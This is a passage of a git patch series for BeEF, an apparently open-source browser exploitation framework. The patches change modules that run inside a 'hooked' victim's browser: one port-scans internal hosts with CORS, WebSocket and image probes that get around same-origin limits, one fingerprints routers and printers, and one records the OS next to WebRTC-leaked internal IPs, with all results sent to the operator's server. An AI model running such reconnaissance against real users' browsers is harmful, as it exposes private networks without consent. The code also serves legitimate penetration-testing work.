1,5,7,9,15,20,21,22,23,25,26,29,33,37,42,43,53,67,68,69,70,76,79,80,88,90,98,101,106,109,110,111,113,114,115,118,119,123,129,132,133,135,136,137,138,139,143,144,156,158,161,162,168,174,177,194,197,209,213,217,219,220,223,264,315,316,346,353,389,413,414,415,416,440,443,444,445,453,454,456,457,458,462,464,465,466,480,486,497,500,501,516,518,522,523,524,525,526,533,535,538,540,541,542,543,544,545,546,547,556,557,560,561,563,564,625,626,636,637,660,664,666,683,740,741,742,744,747,748,749,750,751,752,753,754,758,760,761,762,763,764,765,767,771,773,774,775,776,780,781,782,783,786,787,799,800,801,808,871,873,888,898,901,953,989,990,992,993,994,995,996,997,998,999,1000,1002,1008,1023,1024,1080,8080,8443,8050,3306,5432,1521,1433,3389,10088 ]; + var default_ports = [ 1,5,7,9,15,20,21,22,23,25,26,29,33,37,42,43,53,67,68,69,70,76,79,80,88,90,98,101,106,109,110,111,113,114,115,118,119,123,129,132,133,135,136,137,138,139,143,144,156,158,161,162,168,174,177,194,197,209,213,217,219,220,223,264,315,316,346,353,389,413,414,415,416,440,443,444,445,453,454,456,457,458,462,464,465,466,480,486,497,500,501,516,518,522,523,524,525,526,533,535,538,540,541,542,543,544,545,546,547,556,557,560,561,563,564,625,626,631,636,637,660,664,666,683,740,741,742,744,747,748,749,750,751,752,753,754,758,760,761,762,763,764,765,767,771,773,774,775,776,780,781,782,783,786,787,799,800,801,808,871,873,888,898,901,953,989,990,992,993,994,995,996,997,998,999,1000,1002,1008,1023,1024,1080,8080,8443,8050,3306,5432,1521,1433,3389,10088 ]; - var default_services = { '1':'tcpmux','5':'rje','7':'echo','9':'msn','15':'netstat','20':'ftp-data','21':'ftp','22':'ssh','23':'telnet','25':'smtp','26':'rsftp','29':'msgicp','33':'dsp','37':'time','42':'nameserver','43':'whois','53':'dns','67':'dhcps','68':'dhcpc','69':'tftp','70':'gopher','76':'deos','79':'finger','80':'http','88':'kerberos-sec','90':'dnsix','98':'linuxconf','101':'hostname','106':'pop3pw','109':'pop2','110':'pop3','111':'rpcbind','113':'auth','114':'audionews','115':'sftp','118':'sqlserv','119':'nntp','123':'ntp','129':'pwdgen','132':'cisco-sys','133':'statsrv','135':'msrpc','136':'profile','137':'netbios-ns','138':'netbios-dgm','139':'netbios-ssn','143':'imap','144':'news','156':'sqlserv','158':'pcmail-srv','161':'snmp','162':'snmptrap','168':'rsvd','174':'mailq','177':'xdmcp','194':'irc','197':'dls','209':'tam','213':'ipx','217':'dbase','219':'uarps','220':'imap3','223':'cdc','264':'bgmp','315':'dpsi','316':'decauth','346':'zserv','353':'ndsauth','389':'ldap','413':'smsp','414':'infoseek','415':'bnet','416':'silverplatter','440':'sgcp','443':'https','444':'snpp','445':'microsoft-ds','453':'creativeserver','454':'contentserver','456':'macon','457':'scohelp','458':'appleqtc','462':'datasurfsrvsec','464':'kpasswd5','465':'smtps','466':'digital-vrc','480':'loadsrv','486':'sstats','497':'retrospect','500':'isakmp','501':'stmf','516':'videotex','518':'ntalk','522':'ulp','523':'ibm-db2','524':'ncp','525':'timed','526':'tempo','533':'netwall','535':'iiop','538':'gdomap','540':'uucp','541':'uucp-rlogin','542':'commerce','543':'klogin','544':'kshell','545':'ekshell','546':'dhcpconf','547':'dhcpserv','556':'remotefs','557':'openvms-sysipc','560':'rmonitor','561':'monitor','563':'snews','564':'9pfs','625':'apple-xsrvr-admin','626':'apple-imap-admin','636':'ldapssl','637':'lanserver','660':'mac-srvr-admin','664':'secure-aux-bus','666':'doom','683':'corba-iiop','740':'netcp','741':'netgw','742':'netrcs','744':'flexlm','747':'fujitsu-dev','748':'ris-cm','749':'kerberos-adm','750':'kerberos','751':'kerberos_master','752':'qrh','753':'rrh','754':'krb_prop','758':'nlogin','760':'krbupdate','761':'kpasswd','762':'quotad','763':'cycleserv','764':'omserv','765':'webster','767':'phonebook','771':'rtip','773':'submit','774':'rpasswd','775':'entomb','776':'wpages','780':'wpgs','781':'hp-collector','782':'hp-managed-node','783':'spamassassin','786':'concert','787':'qsc','799':'controlit','800':'mdbs_daemon','801':'device','808':'ccproxy-http','871':'supfilesrv','873':'rsync','888':'accessbuilder','898':'sun-manageconsole','901':'samba-swat','953':'rndc','989':'ftps-data','990':'ftps','992':'telnets','993':'imaps','994':'ircs','995':'pop3s','996':'xtreelic','997':'maitrd','998':'busboy','999':'garcon','1000':'cadlock','1002':'windows-icfw','1008':'ufsd','1023':'netvenuechat','1024':'kdm','1080':'socks','8080':'tomcat','8443':'tomcat','8050':'coldfusion','3306':'mysql','5432':'postgres','1521 ':'oracle','1433':'mssql','3389':'msrdp','10088':'zendserver' }; + var default_services = { '1':'tcpmux','5':'rje','7':'echo','9':'msn','15':'netstat','20':'ftp-data','21':'ftp','22':'ssh','23':'telnet','25':'smtp','26':'rsftp','29':'msgicp','33':'dsp','37':'time','42':'nameserver','43':'whois','53':'dns','67':'dhcps','68':'dhcpc','69':'tftp','70':'gopher','76':'deos','79':'finger','80':'http','88':'kerberos-sec','90':'dnsix','98':'linuxconf','101':'hostname','106':'pop3pw','109':'pop2','110':'pop3','111':'rpcbind','113':'auth','114':'audionews','115':'sftp','118':'sqlserv','119':'nntp','123':'ntp','129':'pwdgen','132':'cisco-sys','133':'statsrv','135':'msrpc','136':'profile','137':'netbios-ns','138':'netbios-dgm','139':'netbios-ssn','143':'imap','144':'news','156':'sqlserv','158':'pcmail-srv','161':'snmp','162':'snmptrap','168':'rsvd','174':'mailq','177':'xdmcp','194':'irc','197':'dls','209':'tam','213':'ipx','217':'dbase','219':'uarps','220':'imap3','223':'cdc','264':'bgmp','315':'dpsi','316':'decauth','346':'zserv','353':'ndsauth','389':'ldap','413':'smsp','414':'infoseek','415':'bnet','416':'silverplatter','440':'sgcp','443':'https','444':'snpp','445':'microsoft-ds','453':'creativeserver','454':'contentserver','456':'macon','457':'scohelp','458':'appleqtc','462':'datasurfsrvsec','464':'kpasswd5','465':'smtps','466':'digital-vrc','480':'loadsrv','486':'sstats','497':'retrospect','500':'isakmp','501':'stmf','516':'videotex','518':'ntalk','522':'ulp','523':'ibm-db2','524':'ncp','525':'timed','526':'tempo','533':'netwall','535':'iiop','538':'gdomap','540':'uucp','541':'uucp-rlogin','542':'commerce','543':'klogin','544':'kshell','545':'ekshell','546':'dhcpconf','547':'dhcpserv','556':'remotefs','557':'openvms-sysipc','560':'rmonitor','561':'monitor','563':'snews','564':'9pfs','625':'apple-xsrvr-admin','626':'apple-imap-admin','631':'ipp','636':'ldapssl','637':'lanserver','660':'mac-srvr-admin','664':'secure-aux-bus','666':'doom','683':'corba-iiop','740':'netcp','741':'netgw','742':'netrcs','744':'flexlm','747':'fujitsu-dev','748':'ris-cm','749':'kerberos-adm','750':'kerberos','751':'kerberos_master','752':'qrh','753':'rrh','754':'krb_prop','758':'nlogin','760':'krbupdate','761':'kpasswd','762':'quotad','763':'cycleserv','764':'omserv','765':'webster','767':'phonebook','771':'rtip','773':'submit','774':'rpasswd','775':'entomb','776':'wpages','780':'wpgs','781':'hp-collector','782':'hp-managed-node','783':'spamassassin','786':'concert','787':'qsc','799':'controlit','800':'mdbs_daemon','801':'device','808':'ccproxy-http','871':'supfilesrv','873':'rsync','888':'accessbuilder','898':'sun-manageconsole','901':'samba-swat','953':'rndc','989':'ftps-data','990':'ftps','992':'telnets','993':'imaps','994':'ircs','995':'pop3s','996':'xtreelic','997':'maitrd','998':'busboy','999':'garcon','1000':'cadlock','1002':'windows-icfw','1008':'ufsd','1023':'netvenuechat','1024':'kdm','1080':'socks','1434':'ms-sql-m','4489':'radmin','6000':'x11','6446':'mysql-proxy','8080':'tomcat','8443':'tomcat','8050':'coldfusion','3306':'mysql','5432':'postgres','1521 ':'oracle','1433':'mssql','3389':'msrdp','10000':'webmin','10088':'zendserver','11371':'hkp' }; var host = '<%= @ipHost %>'; // TODO: Adjust times for each browser @@ -106,7 +106,7 @@ beef.execute(function() { { process_port_cors = true; port_status_cors = 4; // blocked - if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=CORS: Port ' + port_ + ' is BLOCKED');} + if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is BLOCKED');} return; } @@ -145,7 +145,7 @@ beef.execute(function() { if (interval < closetimeout) { port_status_cors = 1; // closed - if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=CORS: Port ' + port_ + ' is CLOSED');} + if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is CLOSED');} } else { port_status_cors = 2; // open @@ -154,7 +154,7 @@ beef.execute(function() { { known_service = "(" + default_services[port_] + ")"; } - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=CORS: Port ' + port_ + ' is OPEN ' + known_service); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is OPEN ' + known_service); } } @@ -163,7 +163,7 @@ beef.execute(function() { clearInterval(intID_cors); process_port_cors = true; port_status_cors = 3; // timeout - if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=CORS: Port ' + port_ + ' is TIMEOUT');} + if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=CORS: Port ' + port_ + ' is TIMEOUT');} } return; } @@ -176,7 +176,7 @@ beef.execute(function() { { process_port_ws = true; port_status_ws = 4; // blocked - if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=WebSocket: Port ' + port_ + ' is BLOCKED');} + if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=WebSocket: Port ' + port_ + ' is BLOCKED');} return; } @@ -222,7 +222,7 @@ beef.execute(function() { if (interval < closetimeout) { port_status_ws = 1; // closed - if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=WebSocket: Port ' + port_ + ' is CLOSED');} + if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=WebSocket: Port ' + port_ + ' is CLOSED');} } else { port_status_ws = 2; // open @@ -231,7 +231,7 @@ beef.execute(function() { { known_service = "(" + default_services[port_] + ")"; } - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=WebSocket: Port ' + port_ + ' is OPEN ' + known_service); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=WebSocket: Port ' + port_ + ' is OPEN ' + known_service); } ws_scan.close(); } @@ -241,7 +241,7 @@ beef.execute(function() { clearInterval(intID_ws); process_port_ws = true; port_status_ws = 3; // timeout - if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=WebSocket: Port ' + port_ + ' is TIMEOUT');} + if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=WebSocket: Port ' + port_ + ' is TIMEOUT');} ws_scan.close(); } return; @@ -264,7 +264,7 @@ beef.execute(function() { if (process_port_http == false) { port_status_http = 1; // closed - if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=HTTP: Port ' + port_ + ' is CLOSED');} + if (debug_value){ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=HTTP: Port ' + port_ + ' is CLOSED');} clearInterval(intID_http); } process_port_http = true; @@ -297,7 +297,7 @@ beef.execute(function() { { known_service = "(" + default_services[port_] + ")"; } - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=HTTP: Port ' + port_ + ' is OPEN ' + known_service); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'ip='+host+'&port=HTTP: Port ' + port_ + ' is OPEN ' + known_service); } } , 1); @@ -311,7 +311,7 @@ beef.execute(function() { return; } else { - beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=Scanning: ' + ports_list); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'port=Scanning '+host+' [ports: ' + ports_list + ']'); } count = 0; diff --git a/modules/network/port_scanner/config.yaml b/modules/network/port_scanner/config.yaml index 49d0f094a..262bbd9d8 100644 --- a/modules/network/port_scanner/config.yaml +++ b/modules/network/port_scanner/config.yaml @@ -9,8 +9,8 @@ beef: enable: true category: "Network" name: "Port Scanner" - description: "Scan ports in a given hostname, using WebSockets, CORS and img tags. It uses the three methods to avoid blocked ports or Same Origin Policy." + description: "Scan ports in a given hostname, using WebSockets, CORS and img tags. It uses the three methods to avoid blocked ports or Same Origin Policy.

      Note: The user may see authentication popups in the event any of the target ports are web servers using HTTP authentication." authors: ["javier.marcos"] target: - working: ["FF", "C"] + user_notify: ["FF", "C"] not_working: ["S", "O", "IE"] diff --git a/modules/network/port_scanner/module.rb b/modules/network/port_scanner/module.rb index ab331e20d..afb9c18b1 100644 --- a/modules/network/port_scanner/module.rb +++ b/modules/network/port_scanner/module.rb @@ -29,5 +29,23 @@ class Port_scanner < BeEF::Core::Command content['fail'] = 'No open ports have been found.' end save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + if @datastore['results'] =~ /^ip=([\d\.]+)&port=(CORS|WebSocket|HTTP): Port ([\d]+) is OPEN (.*)$/ + ip = $1 + port = $3 + service = $4 + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + if !ip.nil? + print_debug("Hooked browser found network service [ip: #{ip}, port: #{port}]") + r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => 'http', :ip => ip, :port => port, :type => service, :cid => cid) + r.save + end + end + + end + end end From 4b8aa2d0a2f839137b6f181c6dcd1980e3f02de1 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 31 Jan 2015 21:48:53 +0000 Subject: [PATCH 16/19] Add signatures --- .../command.js | 34 +++++++++++++++++-- 1 file changed, 32 insertions(+), 2 deletions(-) diff --git a/modules/network/internal_network_fingerprinting/command.js b/modules/network/internal_network_fingerprinting/command.js index ba68105cc..0eff974dc 100644 --- a/modules/network/internal_network_fingerprinting/command.js +++ b/modules/network/internal_network_fingerprinting/command.js @@ -112,6 +112,10 @@ beef.execute(function() { "Billion Router", "80","http",false, "/customized/logo.gif",224,55), + new Array( + "Netgear N300 Router", + "80","http",false, + "/settings.gif",750,85), new Array( "Linksys NAS", "80","http",false, @@ -204,6 +208,14 @@ beef.execute(function() { "HP Printer Photosmart series", "80","http",false, "/webApps/images/hp_d_rgb_m.gif",50,50), + new Array( + "Lexmark Printer", + "80","http",false, + "/images/lexlogo.gif",153,115), + new Array( + "Canon Printer", + "8000","http",false, + "/login/image/canonlogo.gif",100,37), new Array( "Zenoss", "8080","http",false, @@ -220,22 +232,40 @@ beef.execute(function() { "pfSense", "443","https",false, "/themes/pfsense_ng/images/logo.gif",200,56), + new Array( + "Apache Tomcat", + "8080","http",true, + "/docs/images/tomcat.gif",146,92), new Array( "Jenkins", "80","http",false, "/static/"+Math.random().toString(36).substring(2,10)+"/images/jenkins.png",240,323), + new Array( + "SAP NetWeaver", + "80","http",true, + "/logon/layout/shadow.jpg",18,4), + new Array( + "Netscape iPlanet", + "80","http",true, + "/mc-icons/menu.gif",21,18), new Array( "m0n0wall", "80","http",false, - "/logo.gif",150,47) + "/logo.gif",150,47), + new Array("SMC Router","80","http",false,"/images/logo.gif",133,59) // Uncommon signatures +//new Array("Citrix MetaFrame", "80", "http", false, "/Citrix/MetaFrameXP/default/media/nfusehead.gif",230,41), +//new Array("Oracle E-Business Suite","80","http",false,"/OA_MEDIA/FNDSSCORP.gif",134,31), +//new Array("OracleAS Reports Service","80","http",false,"/reports/images/oraclelogo_sizewithprodbrand.gif",133,20), +//new Array("Oracle iLearning","80","http",false,"/ilearn/en/shared/img/coin_help_ready.gif",60,32), +//new Array("RSA Self-Service Console", "80", "http",false,"/console-selfservice/images/default/icn_help.gif",14,14), +//new Array("Sambar Server", "80", "http",false,"/sysimage/system/powerby.gif",41,23), //new Array("BeEF","3000","http",false,"/ui/media/images/beef.png",200,149), //new Array("BeEF (PHP)","80","http",false,"/beef/images/beef.gif",32,32), //new Array("Siemens Simatic","80",false,"/Images/Siemens_Firmenmarke.gif",115,76), //new Array("Alt-N MDaemon World Client","3000","http",false,"/LookOut/biglogo.gif",342,98), //new Array("VLC Media Player","8080","http",false,"/images/white_cross_small.png",9,9), -//new Array("SMC Networks","80","http",false,"/images/logo.gif",133,59), //new Array("Syncrify","5800","http",false,"/images/468x60.gif",468,60), //new Array("Winamp Web Interface","80","http",false,"/img?image=121",30,30), ); From e11ab70c61fbde76cec19067ca40746a503def67 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sat, 31 Jan 2015 22:51:30 +0000 Subject: [PATCH 17/19] Reload grid on render --- .../media/javascript/ui/panel/tabs/ZombieTabNetwork.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js index e59ee63df..d9c056598 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js @@ -568,7 +568,7 @@ ZombieTab_Network = function(zombie) { grid.rowCtxMenu.showAt(e.getXY()); }, afterrender: function(datagrid) { - datagrid.store.reload(); + datagrid.store.reload({ params: {nonce: Ext.get ("nonce").dom.value} }); } } @@ -581,7 +581,7 @@ ZombieTab_Network = function(zombie) { layout: 'fit', listeners: { activate: function(hosts_panel) { - hosts_panel.items.items[0].store.reload(); + hosts_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} }); } } }); From 4ff2a09552879e17ed515002bce598cd17fa43ce Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 1 Feb 2015 02:05:35 +0000 Subject: [PATCH 18/19] Reload grid on render --- .../media/javascript/ui/panel/tabs/ZombieTabNetwork.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js index d9c056598..dfd9e4bf3 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js +++ b/extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabNetwork.js @@ -781,7 +781,7 @@ ZombieTab_Network = function(zombie) { grid.rowCtxMenu.showAt(e.getXY()); }, afterrender: function(datagrid) { - datagrid.store.reload(); + datagrid.store.reload({ params: {nonce: Ext.get ("nonce").dom.value} }); } } @@ -794,7 +794,7 @@ ZombieTab_Network = function(zombie) { layout: 'fit', listeners: { activate: function(services_panel) { - services_panel.items.items[0].store.reload(); + services_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} }); } } }); From 7e3ee5fc500f2480d2f273b2e901955c30cf7b23 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 1 Feb 2015 02:06:52 +0000 Subject: [PATCH 19/19] Record OS --- modules/host/get_internal_ip_webrtc/module.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/host/get_internal_ip_webrtc/module.rb b/modules/host/get_internal_ip_webrtc/module.rb index 466cbdb12..7d497d1b7 100755 --- a/modules/host/get_internal_ip_webrtc/module.rb +++ b/modules/host/get_internal_ip_webrtc/module.rb @@ -20,11 +20,12 @@ class Get_internal_ip_webrtc < BeEF::Core::Command if @datastore['results'] =~ /IP is ([\d\.,]+)/ ips = $1.to_s.split(/,/) if !ips.nil? && !ips.empty? + os = BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName') ips.uniq.each do |ip| next unless ip =~ /^[\d\.]+$/ next if ip =~ /^0\.0\.0\.0$/ print_debug("Hooked browser has network interface #{ip}") - r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :cid => cid) + r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :os => os, :cid => cid) r.save end end